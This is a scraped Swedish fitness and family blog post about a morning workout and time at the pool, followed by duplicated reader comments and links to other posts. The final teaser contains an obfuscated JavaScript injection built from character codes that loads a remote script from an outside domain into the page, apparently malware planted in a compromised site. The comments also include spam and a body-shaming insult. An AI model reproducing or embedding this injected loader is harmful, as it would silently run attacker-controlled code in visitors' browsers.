PW, träning och hej från poolen!

imageHej! Vilken morgon!

Solen lyste på mig strax efter 05:00! Jag kunde INTE somna om! istället gav jag mig ut för en låååååång PW! Avslutade med plankan X3. Jag är fortfarande svag i bukmuskelaturen… Så Jag orkar knappt 45sek per omgång. -Men snart så 😉 Jag körde även vanliga utfallssteg 3×20, squats 3×35, lite intervall löpning för att få puls…. Sen var jag HELT slut! 

image

Just nu njuter jag och Kin i poolen, samtidigt som Julia leker affär 🙂

image

image

Vi hörs senare! Hoppas att solen skiner på dig och att du får chansen att njuta utav den 🙂 kram /My Martens

9 Komentarer

  1. du är snygg med simdräkt på dig my och du kan börja chatta med mig på skype och på faceboock och på e mail och på skype heter jag vikki__90 och på facecook heter jag viktor byggmästar

  2. du är snygg med simdräkt på dig my och du kan börja chatta med mig på skype och på faceboock och på e mail och på skype heter jag vikki__90 och på facecook heter jag viktor byggmästar

  3. Nu får du skärpa dig My. Att lägga ut en bild på dina feta bak när du samtidigt gör reklam för ditt företag. Alla dina kunder kanske inte är fjortisar utan väletablerat folk.

    • Hej! Jag förstår faktiskt inte als vad du menar…. Din åsikt får stå för dig ? Det är INGEN reklam för My’s Blommor als i detta inlägget ? jag brukar nämligen inte träna i butilen ? ha en skön dag!

  4. Nu får du skärpa dig My. Att lägga ut en bild på dina feta bak när du samtidigt gör reklam för ditt företag. Alla dina kunder kanske inte är fjortisar utan väletablerat folk.

    • Hej! Jag förstår faktiskt inte als vad du menar…. Din åsikt får stå för dig 🙂 Det är INGEN reklam för My’s Blommor als i detta inlägget 🙂 jag brukar nämligen inte träna i butilen 😉 ha en skön dag!

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/